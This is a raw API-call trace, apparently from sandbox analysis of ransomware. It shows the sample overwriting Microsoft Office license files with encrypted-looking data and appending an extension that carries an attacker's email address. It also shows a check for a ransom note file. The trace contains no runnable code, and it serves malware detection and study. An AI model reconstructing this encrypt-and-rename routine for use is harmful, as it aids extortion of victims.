	[0085.754] SetFilePointerEx (in: hFile=0x187c, liDistanceToMove=0x2983, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.754] ReadFile (in: hFile=0x187c, lpBuffer=0x28a3f70c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28a3f708, lpOverlapped=0x0 | out: lpBuffer=0x28a3f70c*, lpNumberOfBytesRead=0x28a3f708*=0x4, lpOverlapped=0x0) returned 1
	[0085.756] SetFilePointerEx (in: hFile=0x187c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0085.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.756] NtQuerySystemTime (in: CurrentTime=0x28a3f6e8 | out: CurrentTime=0x28a3f6e8*=132251868124994286) returned 0x0
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x42623d98
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xd751cdda
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xef63c185
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xe84790dc
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xe4f3a0e9
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x6a06bc5e
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xc44ca88d
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x8629c2b6
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xbba302ad
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xb061ceaf
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xa2cb0a92
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x32dd2e1d
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x224a1e2
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x7af48551
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xa1a4e1b6
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xa12e64cf
	[0085.756] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x34fe6137
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x74a3b010
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xf6beb7b3
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xfdb674cb
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x8190fff
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xf84392be
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x2df180ec
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x55f3ed3f
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x15dad379
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0xe06b8f55
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x203fd53e
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x8d1514fe
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x4977a460
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x532a3dd8
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x6bedc3e2
	[0085.757] RtlRandom (in: Seed=0x28a3f6f4 | out: Seed=0x28a3f6f4) returned 0x17ce6292
	[0085.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0085.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e041f8
	[0085.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0085.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0085.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e041f8
	[0085.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f55780
	[0085.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61f88
	[0085.766] ReadFile (in: hFile=0x187c, lpBuffer=0x4f55780, nNumberOfBytesToRead=0x2987, lpNumberOfBytesRead=0x28a3f6e4, lpOverlapped=0x0 | out: lpBuffer=0x4f55780*, lpNumberOfBytesRead=0x28a3f6e4*=0x2987, lpOverlapped=0x0) returned 1
	[0085.767] SetFilePointerEx (in: hFile=0x187c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.767] WriteFile (in: hFile=0x187c, lpBuffer=0x4f61f88*, nNumberOfBytesToWrite=0x2987, lpNumberOfBytesWritten=0x28a3f6e0, lpOverlapped=0x0 | out: lpBuffer=0x4f61f88*, lpNumberOfBytesWritten=0x28a3f6e0*=0x2987, lpOverlapped=0x0) returned 1
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61f88) returned 1
	[0085.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f55780) returned 1
	[0085.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0085.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfb3d8
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfb0c0
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.769] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x121) returned 0x2d62e78
	[0085.769] SetFilePointerEx (in: hFile=0x187c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.769] WriteFile (in: hFile=0x187c, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x28a3f748, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x28a3f748*=0x121, lpOverlapped=0x0) returned 1
	[0085.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0085.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0085.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0085.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0085.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0085.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0085.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768628
	[0085.770] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms"
	[0085.770] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.770] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28a3f700, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x477a460
	[0085.771] NtSetInformationFile (FileHandle=0x187c, IoStatusBlock=0x28a3f6f8, FileInformation=0x477a460, Length=0xf2, FileInformationClass=0xa) returned 0x0
	[0085.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0085.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.771] NtQueryInformationFile (in: FileHandle=0x187c, IoStatusBlock=0x28a3f70c, FileInformation=0x28a3f6e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28a3f70c, FileInformation=0x28a3f6e4) returned 0x0
	[0085.771] NtSetInformationFile (FileHandle=0x187c, IoStatusBlock=0x28a3f70c, FileInformation=0x28a3f6e4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0085.773] FlushFileBuffers (hFile=0x187c) returned 1
	[0093.076] CloseHandle (hObject=0x187c) returned 1
	[0093.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e8a8
	[0093.077] wcscpy (in: _Dest=0x476e8a8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.077] wcscat (in: _Dest=0x476e8a8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1160
	os_tid = 0x1e94

	[0085.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220
	[0085.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1880
	[0085.774] GetFileSizeEx (in: hFile=0x1880, lpFileSize=0x28abf944 | out: lpFileSize=0x28abf944*=20778) returned 1
	[0085.774] SetFilePointerEx (in: hFile=0x1880, liDistanceToMove=0x5126, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.774] ReadFile (in: hFile=0x1880, lpBuffer=0x28abf8c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28abf8c4, lpOverlapped=0x0 | out: lpBuffer=0x28abf8c8*, lpNumberOfBytesRead=0x28abf8c4*=0x4, lpOverlapped=0x0) returned 1
	[0085.775] SetFilePointerEx (in: hFile=0x1880, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0085.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.775] NtQuerySystemTime (in: CurrentTime=0x28abf8a4 | out: CurrentTime=0x28abf8a4*=132251868125150715) returned 0x0
	[0085.775] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xa000c249
	[0085.775] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x386fdaba
	[0085.775] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xceb8c04c
	[0085.775] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xcc93e510
	[0085.775] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x39ceecd
	[0085.775] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xe9fd9cb5
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xbd7e7ea8
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x2e263ba5
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x48e30e35
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x4ddf87d4
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x623b952d
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x7f7dd3d8
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x169dbc6d
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xcba65b07
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x981a8252
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x273b9759
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x5853e3c2
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x80bae6a6
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xcc4914de
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x325e10ef
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xd3a56f69
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x40a28d92
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x5eefe6de
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x9b1e379a
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x48874555
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x6bb9aef0
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x3e19d43
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x46c85452
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xc80f66d1
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x1fe8071a
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0xbe095425
	[0085.776] RtlRandom (in: Seed=0x28abf8b0 | out: Seed=0x28abf8b0) returned 0x98398ac8
	[0085.783] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0085.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e041f8
	[0085.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0085.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0085.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e041f8
	[0085.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f55780
	[0085.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61f88
	[0085.785] ReadFile (in: hFile=0x1880, lpBuffer=0x4f55780, nNumberOfBytesToRead=0x512a, lpNumberOfBytesRead=0x28abf8a0, lpOverlapped=0x0 | out: lpBuffer=0x4f55780*, lpNumberOfBytesRead=0x28abf8a0*=0x512a, lpOverlapped=0x0) returned 1
	[0085.787] SetFilePointerEx (in: hFile=0x1880, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.787] WriteFile (in: hFile=0x1880, lpBuffer=0x4f61f88*, nNumberOfBytesToWrite=0x512a, lpNumberOfBytesWritten=0x28abf89c, lpOverlapped=0x0 | out: lpBuffer=0x4f61f88*, lpNumberOfBytesWritten=0x28abf89c*=0x512a, lpOverlapped=0x0) returned 1
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61f88) returned 1
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f55780) returned 1
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3f) returned 0x2dfb108
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3f) returned 0x2dfb1e0
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x123) returned 0x2e02570
	[0087.220] SetFilePointerEx (in: hFile=0x1880, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.220] WriteFile (in: hFile=0x1880, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x123, lpNumberOfBytesWritten=0x28abf904, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x28abf904*=0x123, lpOverlapped=0x0) returned 1
	[0087.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0087.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0087.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0087.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0087.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768c80
	[0087.222] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms"
	[0087.222] wcscat (in: _Dest=0x4768c80, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.222] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28abf8bc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x477a460
	[0087.222] NtSetInformationFile (FileHandle=0x1880, IoStatusBlock=0x28abf8b4, FileInformation=0x477a460, Length=0xf4, FileInformationClass=0xa) returned 0x0
	[0087.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1
	[0087.223] NtQueryInformationFile (in: FileHandle=0x1880, IoStatusBlock=0x28abf8c8, FileInformation=0x28abf8a0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28abf8c8, FileInformation=0x28abf8a0) returned 0x0
	[0087.224] NtSetInformationFile (FileHandle=0x1880, IoStatusBlock=0x28abf8c8, FileInformation=0x28abf8a0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.224] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.224] FlushFileBuffers (hFile=0x1880) returned 1
	[0093.116] CloseHandle (hObject=0x1880) 

Thread:
	id = 1161
	os_tid = 0x1e98

	[0085.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220
	[0085.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1884
	[0085.788] GetFileSizeEx (in: hFile=0x1884, lpFileSize=0x28b3fec0 | out: lpFileSize=0x28b3fec0*=11579) returned 1
	[0085.788] SetFilePointerEx (in: hFile=0x1884, liDistanceToMove=0x2d37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
